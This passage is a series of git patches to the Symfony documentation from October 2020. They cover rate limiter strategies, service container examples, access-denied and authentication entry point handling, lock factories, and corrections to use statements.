+        namespace App\Util;
+
+        use Symfony\Contracts\Service\Attribute\Required;
+
+        class Rot13Transformer
+        {
+            #[Required]
+            public LoggerInterface $logger;
+
+            public function transform($value)
+            {
+                $this->logger->info('Transforming '.$value);
+                // ...
+            }
         }
-    }
 
 .. versionadded:: 5.1
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 11dea241613..df33cecc989 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -6,7 +6,7 @@ Service Method Calls and Setter Injection
 
 .. tip::
 
-    If you're using autowiring, you can use ``@required`` to
+    If you're using autowiring, you can use ``#[Required]`` or ``@required`` to
     :ref:`automatically configure method calls <autowiring-calls>`.
 
 Usually, you'll want to inject your dependencies via the constructor. But sometimes,

From 0605be9875bda451c5d6cba839f695f1586f9094 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Wed, 14 Oct 2020 19:31:24 -0400
Subject: [PATCH 1333/7107] Add info() method sample

---
 components/options_resolver.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 075b42937a9..74569b9123e 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -811,7 +811,9 @@ method::
             $resolver->define('host')
                 ->required()
                 ->default('smtp.example.org')
-                ->allowedTypes('string');
+                ->allowedTypes('string')
+                ->info('The IP address or hostname');
+
             $resolver->define('transport')
                 ->required()
                 ->default('transport')

From 2380052f6c33b21f41e0f0fcecc9f998b1cf7efe Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 15 Oct 2020 09:30:05 +0200
Subject: [PATCH 1334/7107] Adding docs for rate limit sliding window

---
 rate_limiter.rst | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index f7112373ff3..2abc25a1a5c 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -19,8 +19,8 @@ time, but you can use them for your own features too.
 Rate Limiting Strategies
 ------------------------
 
-Symfony's rate limiter implements two of the most common strategies to enforce
-rate limits: **fixed window** and **token bucket**.
+Symfony's rate limiter implements some of the most common strategies to enforce
+rate limits: **fixed window**, **sliding window** and **token bucket**.
 
 Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -35,6 +35,22 @@ could make the 4,999 requests in the last minute of some hour and another 5,000
 requests during the first minute of the next hour, making 9,999 requests in
 total in two minutes and possibly overloading the server.
 
+Sliding Window Rate Limiter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The sliding window algorithm is gracefully handling the drawback from the fixed
+window algorithm. To reduce bursts requests the rate limit is calculated based on
+the current window and the previous window.
+
+For example: The limit is 5,000 requests per hour. If a user made 4,000 requests
+the previous hour and 500 requests this hour. 15 minutes in to the current hour
+(25% of the window) the hit count would be calculated as: 75% * 4,000 + 500 = 3,500.
+At this point in time the user can only do 1,500 more requests.
+
+The math shows that the closer the last window is, the more will the hit count
+of the last window effect the current limit. This will make sure that a user can
+do 5.000 requests per hour but only if they are spread out evenly.
+
 Token Bucket Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 31617f97b2e60b99cc7f33781b5e4f57722315a6 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Thu, 15 Oct 2020 10:02:49 +0200
Subject: [PATCH 1335/7107] Improve/fix container doc

---
 service_container.rst | 70 ++++++++++++++++++++++++-------------------
 testing.rst           |  2 +-
 2 files changed, 40 insertions(+), 32 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ec3b67215c4..ff80ac27a14 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -32,15 +32,16 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     namespace App\Controller;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Component\HttpFoundation\Response;
 
     class ProductController
     {
         /**
          * @Route("/products")
          */
-        public function list(LoggerInterface $logger)
+        public function list(LoggerInterface $logger): Response
         {
-            $logger->info('Look! I just used a service');
+            $logger->info('Look, I just used a service!');
 
             // ...
         }
@@ -101,7 +102,7 @@ it can't be re-used. Instead, you decide to create a new class::
 
     class MessageGenerator
     {
-        public function getHappyMessage()
+        public function getHappyMessage(): string
         {
             $messages = [
                 'You did it! You updated the system! Amazing!',
@@ -118,9 +119,14 @@ it can't be re-used. Instead, you decide to create a new class::
 Congratulations! You've created your first service class! You can use it immediately
 inside your controller::
 
+    // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function new(MessageGenerator $messageGenerator)
+    /**
+     * @Route("/products/new")
+     */
+    public function new(MessageGenerator $messageGenerator): Response
     {
         // thanks to the type-hint, the container will instantiate a
         // new MessageGenerator and pass it to you!
@@ -241,7 +247,7 @@ and use it later::
             $this->logger = $logger;
         }
 
-        public function getHappyMessage()
+        public function getHappyMessage(): string
         {
             $this->logger->info('About to find a happy message!');
             // ...
@@ -291,8 +297,8 @@ Handling Multiple Services
 Suppose you also want to email a site administrator each time a site update is
 made. To do that, you create a new class::
 
-    // src/Updates/SiteUpdateManager.php
-    namespace App\Updates;
+    // src/Service/SiteUpdateManager.php
+    namespace App\Service;
 
     use App\Service\MessageGenerator;
     use Symfony\Component\Mailer\MailerInterface;
@@ -309,7 +315,7 @@ made. To do that, you create a new class::
             $this->mailer = $mailer;
         }
 
-        public function notifyOfSiteUpdate()
+        public function notifyOfSiteUpdate(): bool
         {
             $happyMessage = $this->messageGenerator->getHappyMessage();
 
@@ -322,6 +328,8 @@ made. To do that, you create a new class::
             $this->mailer->send($email);
 
             // ...
+
+            return true;
         }
     }
 
@@ -334,7 +342,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
     namespace App\Controller;
     
     // ...
-    use App\Updates\SiteUpdateManager;
+    use App\Service\SiteUpdateManager;
 
     public function new(SiteUpdateManager $siteUpdateManager)
     {
@@ -361,7 +369,7 @@ example, suppose you want to make the admin email configurable:
 
 .. code-block:: diff
 
-    // src/Updates/SiteUpdateManager.php
+    // src/Service/SiteUpdateManager.php
     // ...
 
     class SiteUpdateManager
@@ -369,21 +377,21 @@ example, suppose you want to make the admin email configurable:
         // ...
     +    private $adminEmail;
 
-    -    public function __construct(MessageGenerator $messageGenerator, \Swift_Mailer $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, \Swift_Mailer $mailer, $adminEmail)
+    -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
+    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail)
         {
             // ...
     +        $this->adminEmail = $adminEmail;
         }
 
-        public function notifyOfSiteUpdate()
+        public function notifyOfSiteUpdate(): bool
         {
             // ...
 
-            $message = \Swift_Message::newInstance()
+            $email = (new Email())
                 // ...
-    -            ->setTo('manager@example.com')
-    +            ->setTo($this->adminEmail)
+    -            ->to('manager@example.com')
+    +            ->to($this->adminEmail)
                 // ...
             ;
             // ...
@@ -392,7 +400,7 @@ example, suppose you want to make the admin email configurable:
 
 If you make this change and refresh, you'll see an error:
 
-    Cannot autowire service "App\Updates\SiteUpdateManager": argument "$adminEmail"
+    Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
 That makes sense! There is no way that the container knows what value you want to
@@ -412,7 +420,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
                 exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
 
             # explicitly configure the service
-            App\Updates\SiteUpdateManager:
+            App\Service\SiteUpdateManager:
                 arguments:
                     $adminEmail: 'manager@example.com'
 
@@ -436,7 +444,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
                 />
 
                 <!-- Explicitly configure the service -->
-                <service id="App\Updates\SiteUpdateManager">
+                <service id="App\Service\SiteUpdateManager">
                     <argument key="$adminEmail">manager@example.com</argument>
                 </service>
             </services>
@@ -447,7 +455,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Updates\SiteUpdateManager;
+        use App\Service\SiteUpdateManager;
 
         return function(ContainerConfigurator $configurator) {
             // ...
@@ -877,7 +885,7 @@ But, if you *do* need to make a service public, override the ``public`` setting:
             # ... same code as before
 
             # explicitly configure the service
-            Acme\PublicService:
+            App\Service\PublicService:
                 public: true
 
     .. code-block:: xml
@@ -893,7 +901,7 @@ But, if you *do* need to make a service public, override the ``public`` setting:
                 <!-- ... same code as before -->
 
                 <!-- Explicitly configure the service -->
-                <service id="Acme\PublicService" public="true"></service>
+                <service id="App\Service\PublicService" public="true"></service>
             </services>
         </container>
 
@@ -902,13 +910,13 @@ But, if you *do* need to make a service public, override the ``public`` setting:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Acme\PublicService;
+        use App\Service\PublicService;
 
         return function(ContainerConfigurator $configurator) {
             // ... same as code before
 
             // explicitly configure the service
-            $services->set(PublicService::class)
+            $services->set(Service\PublicService::class)
                 ->public()
             ;
         };
@@ -1087,7 +1095,7 @@ admin email. In this case, each needs to have a unique service id:
 
             # this is the service's id
             site_update_manager.superadmin:
-                class: App\Updates\SiteUpdateManager
+                class: App\Service\SiteUpdateManager
                 # you CAN still use autowiring: we just want to show what it looks like without
                 autowire: false
                 # manually wire all arguments
@@ -1097,7 +1105,7 @@ admin email. In this case, each needs to have a unique service id:
                     - 'superadmin@example.com'
 
             site_update_manager.normal_users:
-                class: App\Updates\SiteUpdateManager
+                class: App\Service\SiteUpdateManager
                 autowire: false
                 arguments:
                     - '@App\Service\MessageGenerator'
@@ -1106,7 +1114,7 @@ admin email. In this case, each needs to have a unique service id:
 
             # Create an alias, so that - by default - if you type-hint SiteUpdateManager,
             # the site_update_manager.superadmin will be used
-            App\Updates\SiteUpdateManager: '@site_update_manager.superadmin'
+            App\Service\SiteUpdateManager: '@site_update_manager.superadmin'
 
     .. code-block:: xml
 
@@ -1120,19 +1128,19 @@ admin email. In this case, each needs to have a unique service id:
             <services>
                 <!-- ... -->
 
-                <service id="site_update_manager.superadmin" class="App\Updates\SiteUpdateManager" autowire="false">
+                <service id="site_update_manager.superadmin" class="App\Service\SiteUpdateManager" autowire="false">
                     <argument type="service" id="App\Service\MessageGenerator"/>
                     <argument type="service" id="mailer"/>
                     <argument>superadmin@example.com</argument>
                 </service>
 
-                <service id="site_update_manager.normal_users" class="App\Updates\SiteUpdateManager" autowire="false">
+                <service id="site_update_manager.normal_users" class="App\Service\SiteUpdateManager" autowire="false">
                     <argument type="service" id="App\Service\MessageGenerator"/>
                     <argument type="service" id="mailer"/>
                     <argument>contact@example.com</argument>
                 </service>
 
-                <service id="App\Updates\SiteUpdateManager" alias="site_update_manager.superadmin"/>
+                <service id="App\Service\SiteUpdateManager" alias="site_update_manager.superadmin"/>
             </services>
         </container>
 
@@ -1142,7 +1150,7 @@ admin email. In this case, each needs to have a unique service id:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Service\MessageGenerator;
-        use App\Updates\SiteUpdateManager;
+        use App\Service\SiteUpdateManager;
 
         return function(ContainerConfigurator $configurator) {
             // ...
diff --git a/testing.rst b/testing.rst
index 98dde991f9a..4b64d504631 100644
--- a/testing.rst
+++ b/testing.rst
@@ -599,7 +599,7 @@ it via that alias:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Service\MessageGenerator;
-        use App\Updates\SiteUpdateManager;
+        use App\Service\SiteUpdateManager;
 
         return function(ContainerConfigurator $configurator) {
             // ...

From c6b99a0013825e682716c1c5ae4f1d4022e61d38 Mon Sep 17 00:00:00 2001
From: Ruben Jacobs <ruben6jacobs@gmail.com>
Date: Thu, 15 Oct 2020 20:59:31 +0200
Subject: [PATCH 1336/7107] Fix small typo

---
 reference/forms/types/options/choice_name.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index a01341b5418..ed39bad5e9c 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -5,7 +5,7 @@
 
 Controls the internal field name of the choice. You normally don't care about this,
 but in some advanced cases, you might. For example, this "name" becomes the index
-of the choice views in the template and is used as part o the field name
+of the choice views in the template and is used as part of the field name
 attribute.
 
 This can be a callable or a property path. See `choice_label`_ for similar usage.

From 3892e26df91cd69892c9564571073a58b0a94a41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Aug 2020 16:20:30 +0200
Subject: [PATCH 1337/7107] Clarify authentication entry point and access
 denied handler

---
 security/access_denied_handler.rst | 181 ++++++++++++++++++++++++++---
 1 file changed, 166 insertions(+), 15 deletions(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index e9e780e75ef..eed7589bee2 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -1,17 +1,116 @@
 .. index::
     single: Security; Creating a Custom Access Denied Handler
 
-How to Create a Custom Access Denied Handler
-============================================
+How to Customize Access Denied Responses
+========================================
 
-When your application throws an ``AccessDeniedException``, you can handle this exception
-with a service to return a custom response.
+In Symfony, you can throw an
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+to disallow access to the user. Symfony will handle this exception and
+generates a response based on the authentication state:
 
-First, create a class that implements
+* **If the user is not authenticated** (or authenticated anonymously), an
+  authentication entry point is used to generated a response (typically
+  a redirect to the login page or an *401 Unauthorized* response);
+* **If the user is authenticated, but does not have the required
+  permissions**, a *403 Forbidden* response is generated.
+
+Customize the Unauthorized Response
+-----------------------------------
+
+You need to create a class that implements
+:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+This interface has one method (``start()``) that is called whenever an
+unauthenticated user tries to access a protected resource::
+
+    // src/Security/AuthenticationEntryPoint.php
+    namespace App\Security;
+
+    use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Security\Core\Exception\AuthenticationException;
+    use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
+
+    class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
+    {
+        private $urlGenerator;
+        private $session;
+
+        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        {
+            $this->urlGenerator = $urlGenerator;
+            $this->session = $session;
+        }
+
+        public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
+        {
+            // add a custom flash message and redirect to the login page
+            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+
+            return new RedirectResponse($this->urlGenerator->generate('security_login'));
+        }
+    }
+
+That's it if you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`.
+Otherwise, you have to register this service in the container.
+
+Now, configure this service ID as the entry point for the firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        firewalls:
+            # ...
+
+            main:
+                # ...
+                entry_point: App\Security\AuthenticationEntryPoint
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <firewall name="main"
+                    entry-point="App\Security\AuthenticationEntryPoint"
+                >
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AuthenticationEntryPoint;
+
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    // ...
+                    'entry_point' => AuthenticationEntryPoint::class,
+                ],
+            ],
+        ]);
+
+Customize the Forbidden Response
+--------------------------------
+
+Create a class that implements
 :class:`Symfony\\Component\\Security\\Http\\Authorization\\AccessDeniedHandlerInterface`.
-This interface defines one method called ``handle()`` where you can implement whatever
-logic that should run when access is denied for the current user (e.g. send a
-mail, log a message, or generally return a custom response)::
+This interface defines one method called ``handle()`` where you can
+implement whatever logic that should execute when access is denied for the
+current user (e.g. send a mail, log a message, or generally return a custom
+response)::
 
     namespace App\Security;
 
@@ -49,11 +148,21 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <config>
-            <firewall name="main">
-                <access-denied-handler>App\Security\AccessDeniedHandler</access-denied-handler>
-            </firewall>
-        </config>
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <firewall name="main"
+                    access-denied-handler="App\Security\AccessDeniedHandler"
+                >
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
@@ -69,5 +178,47 @@ configure it under your firewall:
             ],
         ]);
 
-That's it! Any ``AccessDeniedException`` thrown by code under the ``main`` firewall
-will now be handled by your service.
+Customizing All Access Denied Responses
+---------------------------------------
+
+In some cases, you might want to customize both responses or do a specific
+action (e.g. logging) for each ``AccessDeniedException``. In this case,
+configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
+
+    // src/EventListener/AccessDeniedListener.php
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Event\ExceptionEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+
+    class AccessDeniedListener implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents(): array
+        {
+            return [
+                // the priority must be greater than the Security HTTP
+                // ExceptionListener, to make sure it's called before
+                // the default exception listener
+                KernelEvents::EXCEPTION => ['onKernelException', 2],
+            ];
+        }
+
+        public function onKernelException(ExceptionEvent $event): void
+        {
+            $exception = $event->getException();
+            if (!$exception instanceof AccessDeniedException) {
+                return;
+            }
+
+            // ... perform some action (e.g. logging)
+
+            // optionally set the custom response
+            $event->setResponse(new Response(null, 403));
+
+            // or stop propagation (prevents the next exception listeners from being called)
+            //$event->stopPropagation();
+        }
+    }

From bde45969dbaf2316055a1104fa9c9948dce33ada Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Fri, 16 Oct 2020 09:30:37 +0200
Subject: [PATCH 1338/7107] Fix example in lock

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 72fb36dc779..51f375adc33 100644
--- a/lock.rst
+++ b/lock.rst
@@ -198,7 +198,7 @@ processes asking for the same ``$version``::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Lock\LockInterface;
+    use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {

From 91a834dc86a31c2ec12a2b52c56da22a22bff029 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFc=20Sapone?= <loic@sapone.fr>
Date: Fri, 16 Oct 2020 11:12:01 +0200
Subject: [PATCH 1339/7107] [UID] Fix wrong use statement for generators

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index f1c569df97d..287789ac368 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -146,7 +146,7 @@ There's also a Doctrine generator to help autogenerate UUID values for the
 entity primary keys::
 
     // there are generators for UUID V1 and V6 too
-    use Symfony\Bridge\Doctrine\Types\UuidV4Generator;
+    use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -261,7 +261,7 @@ special Doctrine types which convert to/from ULID objects automatically::
 There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
-    use Symfony\Bridge\Doctrine\Types\UlidGenerator;
+    use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")

From a5d1355a9bdf468f17b81a1e46de036b5c51eb78 Mon Sep 17 00:00:00 2001
From: Denis Brumann <denis.brumann@sensiolabs.de>
Date: Fri, 16 Oct 2020 14:14:25 +0200
Subject: [PATCH 1340/7107] Add context for json encoding/decoding.

---
 components/serializer.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 345642c9770..62752ebbb1b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -810,7 +810,13 @@ The ``JsonEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
 The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
+useful to modify how these functions operate in certain instances by providing
+options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
+context to pass in these options using the key ``json_encode_options`` or
+``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
 
 The ``CsvEncoder``
 ~~~~~~~~~~~~~~~~~~~

From 81d6877f020ab1e9f291dd7108082344366f0bcb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Fri, 16 Oct 2020 09:28:32 +0200
Subject: [PATCH 1341/7107] Replace LockInterface by LockFactory in DI

---
 lock.rst | 27 +++++++++++----------------
 1 file changed, 11 insertions(+), 16 deletions(-)

diff --git a/lock.rst b/lock.rst
index c3d5cb365e5..bacebc544b2 100644
--- a/lock.rst
+++ b/lock.rst
@@ -159,22 +159,23 @@ this behavior by using the ``lock`` key like:
 Locking a Resource
 ------------------
 
-To lock the default resource, autowire the lock using
-:class:`Symfony\\Component\\Lock\\LockInterface` (service id ``lock``)::
+To lock the default resource, autowire the lock factory using
+:class:`Symfony\\Component\\Lock\\LockFactory` (service id ``lock.factory``)::
 
     // src/Controller/PdfController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Lock\LockInterface;
+    use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         /**
          * @Route("/download/terms-of-use.pdf")
          */
-        public function downloadPdf(LockInterface $lock, MyPdfGeneratorService $pdf)
+        public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf)
         {
+            $lock = $factory->createLock('pdf-creation');
             $lock->acquire(true);
 
             // heavy computation
@@ -273,18 +274,12 @@ provides :ref:`named lock <reference-lock-resources-name>`::
             ],
         ]);
 
-Each name becomes a service where the service id suffixed by the name of the
-lock (e.g. ``lock.invoice``). An autowiring alias is also created for each lock
-using the camel case version of its name suffixed by ``Lock`` - e.g. ``invoice``
-can be injected automatically by naming the argument ``$invoiceLock`` and
-type-hinting it with :class:`Symfony\\Component\\Lock\\LockInterface`.
-
-Symfony also provide a corresponding factory and store following the same rules
-(e.g. ``invoice`` generates a ``lock.invoice.factory`` and
-``lock.invoice.store``, both can be injected automatically by naming
-respectively ``$invoiceLockFactory`` and ``$invoiceLockStore`` and type-hinted
-with :class:`Symfony\\Component\\Lock\\LockFactory` and
-:class:`Symfony\\Component\\Lock\\PersistingStoreInterface`)
+Each name becomes a service where the service id is part of the name of the
+lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
+each lock using the camel case version of its name suffixed by ``LockFactory``
+- e.g. ``invoice`` can be injected automatically by naming the argument
+``$invoiceLockFactory`` and type-hinting it with
+:class:`Symfony\\Component\\Lock\\LockFactory`.
 
 Blocking Store
 --------------

From b513c1593b6e43c52b218d906ea2e06127d2d14d Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sat, 17 Oct 2020 09:10:59 +0200
Subject: [PATCH 1342/7107] Fixed use statement

---
 reference/constraints/Compound.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 8552058708c..6e0ab5db139 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -26,7 +26,7 @@ you can create your own named set or requirements to be reused consistently ever
     // src/Validator/Constraints/PasswordRequirements.php
     namespace App\Validator\Constraints;
 
-    use Symfony\Component\Validator\Compound;
+    use Symfony\Component\Validator\Constraints\Compound;
     use Symfony\Component\Validator\Constraints as Assert;
 
     /**

From 48c5e90049fedbabaa7bab6622a02c76723fe684 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Oct 2020 19:19:34 +0200
Subject: [PATCH 1343/7107] Fixed broken use statements

---
 migration.rst                      | 2 +-
 reference/constraints/Traverse.rst | 4 ++--
 routing.rst                        | 2 +-
 translation.rst                    | 4 ++--
 4 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/migration.rst b/migration.rst
index 6b71a07670b..fa8c2bfc24b 100644
--- a/migration.rst
+++ b/migration.rst
@@ -238,7 +238,7 @@ could look something like this::
     // public/index.php
     use App\Kernel;
     use App\LegacyBridge;
-    use Symfony\Component\Debug\Debug;
+    use Symfony\Component\ErrorHandler\Debug;
     use Symfony\Component\HttpFoundation\Request;
 
     require dirname(__DIR__).'/vendor/autoload.php';
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..fd329bd38a3 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -26,8 +26,8 @@ that all have constraints on their properties.
         // src/Entity/BookCollection.php
         namespace App\Entity;
 
-        use Doctrine\Collections\ArrayCollection;
-        use Doctrine\Collections\Collection
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
diff --git a/routing.rst b/routing.rst
index c1c8a65e702..b4054a3137c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2247,7 +2247,7 @@ session shouldn't be used when matching a request:
 
         // config/routes.php
         use App\Controller\MainController;
-        use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
             $routes->add('homepage', '/')
diff --git a/translation.rst b/translation.rst
index fbf08ba14a1..1d6bdf5b7e2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -307,10 +307,10 @@ parts of your application and mocking it in your tests.
 
 Instead of translating a string at the time of creation, you can use a
 "translatable object", which is an instance of the
-:class:`Symfony\\Component\\Translation\\TranslatableMessage` class. This object stores
+:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores
 all the information needed to fully translate its contents when needed::
 
-    use Symfony\Component\Translation\TranslatableMessage;
+    use Symfony\Component\Translation\Translatable;
 
     // the first argument is required and it's the original message
     $message = new TranslatableMessage('Symfony is great!');

From 0434fbbb582a11c7012522b2840000f18d7013b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 17 Oct 2020 13:07:01 +0200
Subject: [PATCH 1344/7107] Tweaks

---
 rate_limiter.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 2abc25a1a5c..f0a16e9493e 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -33,23 +33,24 @@ Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In the previous example, a user
 could make the 4,999 requests in the last minute of some hour and another 5,000
 requests during the first minute of the next hour, making 9,999 requests in
-total in two minutes and possibly overloading the server.
+total in two minutes and possibly overloading the server. These periods of
+excessive usage are called "bursts".
 
 Sliding Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The sliding window algorithm is gracefully handling the drawback from the fixed
-window algorithm. To reduce bursts requests the rate limit is calculated based on
+The sliding window algorithm is an alternative to the fixed window algorithm
+designed to reduce bursts. To do that, the rate limit is calculated based on
 the current window and the previous window.
 
-For example: The limit is 5,000 requests per hour. If a user made 4,000 requests
+For example: the limit is 5,000 requests per hour; a user made 4,000 requests
 the previous hour and 500 requests this hour. 15 minutes in to the current hour
 (25% of the window) the hit count would be calculated as: 75% * 4,000 + 500 = 3,500.
 At this point in time the user can only do 1,500 more requests.
 
 The math shows that the closer the last window is, the more will the hit count
 of the last window effect the current limit. This will make sure that a user can
-do 5.000 requests per hour but only if they are spread out evenly.
+do 5,000 requests per hour but only if they are spread out evenly.
 
 Token Bucket Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -85,11 +86,12 @@ enforce different levels of service (free or paid):
     framework:
         rate_limiter:
             anonymous_api:
-                strategy: fixed_window
